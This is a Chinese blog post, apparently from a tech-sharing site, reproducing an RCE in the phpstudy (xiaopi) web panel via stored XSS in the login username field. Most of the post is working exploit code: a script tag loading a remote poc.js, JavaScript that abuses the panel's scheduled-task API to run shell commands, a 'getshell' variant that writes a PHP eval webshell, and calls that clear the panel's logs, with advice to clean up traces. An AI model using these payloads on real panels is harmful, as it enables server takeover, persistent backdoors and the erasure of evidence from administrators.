首页 > 编程语言 >phpstudy 小皮web面板 RCE漏洞

phpstudy 小皮web面板 RCE漏洞

时间:2023-02-07 15:32:13浏览次数:37  
标签:function 小皮 service web data app phpstudy php type

前几天爆出phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。这是一个很简单的1click的RCE,通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。

说白了就是后台页面,日志用户名我们可控的 image.png 虽然影响大,但是条件也很苛刻,首先要 小皮面板后台路径 and 等待管理员登录 image.png 不多说了!

漏洞复现

首先在官网下载最新的小皮windows面板安装程序 image.png 安装完!访问 image.png image.png 测试漏洞是否存在!

<script>alert(1)</script>

image.png 显示账号密码错误完,登录admin账号验证一下!是否弹窗 image.png image.png 大概就是这样子!剩下就是js 写文件 and webshell ps:需要知道绝对路径哈! 还是那样子插入js代码

<script src=http://192.168.119.1/poc.js></script>

image.png

function poc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res){
      $.post('/service/app/tasks.php?type=set_task_status',{
        task_id:id,
        status:0
      },function(res1){
        $.post('/service/app/tasks.php?type=set_task_status',{
          task_id:id,
          status:0
        },function(res2){
          $.post("/service/app/log.php?type=clearlog",{
            type:"clearlog"
          },function(res3){},"json");
        },"json");
      },"json");
    },"json");
  },"json");
}
function save(){
  var data=new Object();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="13";
  data.minute = "51";
  data.shell="echo swzaq >C:/xp.cn/www/1.txt";
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

image.png 不要插入太多恶意代码,对系统崩溃的!记得清理日志 下面也附上 getshell 的exp!

function poc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res2){
        $.post('/service/app/log.php?type=clearlog',{
            
        },function(res3){},"json");
        
      
    },"json");
  },"json");
}
function save(){
  var data=new Object();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="14";
  data.minute = "20";
  data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

好啦!完毕!生活愉快!

标签:function,小皮,service,web,data,app,phpstudy,php,type
From: https://blog.51cto.com/JDream/6042196

相关文章

  • webrtc windows编译记录
    //cmdsetpath=D:\zzh\depot_tools;%path%setDEPOT_TOOLS_WIN_TOOLCHAIN0setvs2022_install=C:\ProgramFiles\MicrosoftVisualStudio\2022\Community//powershe......
  • python静态web服务器如何实现
    1、编写TCP服务器程序。2、获取浏览器发送的http请求消息数据。3、读取固定的页面数据,将页面数据组装成HTTP响应消息数据并发送给浏览器。4、HTTP响应报文数据发送完成后,关......
  • Web DevOps
    s百度词条是这么解释的: “DevOps(Development和Operations的组合词)是一组过程、方法与系统的统称,用于促进开发(应用程序/软件工程)、技术运营和质量保障(QA)部门之间的沟......
  • HGAME_2023_WEB_WP_WEEK3
    PingToTheHost很明显的rce,简单测试一下发现空格,cat,;被办,且执行无回显,空格用${IFS},%09,$IFS$9等等来绕过,我们利用dnslog将执行结果外带出来,这里使用的是http://ceye.io/......
  • [Web] 前端的一些快速启动
    VueQuickStartwithVue-CLIimportinhtmlpage:<scripttype="importmap">{"imports":{"vue":"https://unpkg.com/vue@3/dist/vue.esm-browser.js"......
  • C#.NET 4.8 WEBP 转 GIF
    C#.NET4.8WEBP转GIF项目是.NET4.8。nuget引用 Magick.NET-Q16-AnyCPU,版本:7.14.5。高版本,如:12.2已经不支持.NETFRAMEWORK了。usingImageMagick;usingSyste......
  • 小皮面板RCE复现
    免责声明:文中提到的所有技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途,否则后果自行承担!漏洞成因小皮面板登录失败时会将失败的用户名记录,......
  • 基于SpringBoot的WebSocket开发(非完整代码)
    1、添加依赖<!--websocket--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starte......
  • Web端通用数据效验
    如有问题请指正,谢谢!/*//通用IE,获取时间,只允许输入8位-分割的日期functiongetMyDateTime(myDate){//带日期格式的,去掉日期。if(myDate.length>10){......
  • 第六十八章 使用 Web 服务监控 IRIS - 监控网络客户端
    第六十八章使用Web服务监控IRIS-监控网络客户端SYS.WSMon.Client类和相关类是一个IRIS网络服务客户端,可以在同一个IRIS实例或另一个IRIS实例中调用SYS.......